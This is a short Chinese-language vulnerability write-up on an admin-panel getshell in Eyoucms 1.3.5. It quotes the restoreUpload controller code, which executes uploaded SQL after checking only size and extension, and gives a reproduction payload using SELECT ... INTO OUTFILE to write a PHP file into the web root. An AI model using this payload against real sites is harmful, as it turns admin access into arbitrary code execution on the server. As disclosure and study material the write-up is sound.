Eyoucms 1.3.5 后台getshell¶
一、漏洞简介¶
最新版本删除该功能
二、漏洞影响¶
Eyoucms 1.3.5
三、复现过程¶
漏洞分析
相关功能代码在application/admin/controller/Tools.php
public function restoreUpload()
{
$file = request()->file('sqlfile');
if(empty($file)){
$this->error('请上传sql文件');
}
// 移动到框架应用根目录/data/sqldata/ 目录下
$path = tpCache('global.web_sqldatapath');
$path = !empty($path) ? $path : config('DATA_BACKUP_PATH');
$path = trim($path, '/');
$image_upload_limit_size = intval(tpCache('basic.file_size') * 1024 * 1024);
$info = $file->validate(['size'=>$image_upload_limit_size,'ext'=>'sql,gz'])->move($path, $_FILES['sqlfile']['name']);
if ($info) {
//上传成功 获取上传文件信息
$file_path_full = $info->getPathName();
if (file_exists($file_path_full)) {
$sqls = Backup::parseSql($file_path_full);
if(Backup::install($sqls)){
//array_map("unlink", glob($path));
/*清除缓存*/
delFile(RUNTIME_PATH);
/*--end*/
$this->success("执行sql成功", url('Tools/restore'));
}else{
$this->error('执行sql失败');
}
} else {
$this->error('sql文件上传失败');
}
} else {
//上传错误提示错误信息
$this->error($file->getError());
}
}
上传过程中只验证了文件的大小和后缀,之后解析sql语句并执行。解析sql函数不再贴出,但并没有检测文件内容正常的sql语句都能通过解析。install函数直接执行了sql语句。
漏洞复现
登陆后台在高级选项->备份还原->数据还原可选择上传sql文件并执行
上传sql文件内容为(需要知道网站绝对路径)
select '<?php phpinfo(); ?>' into outfile 'D:\\tools\\phpstudy\\phpstudy_pro\\WWW\\testcms\\1.php';
上传成功后在网站根目录生成webshell。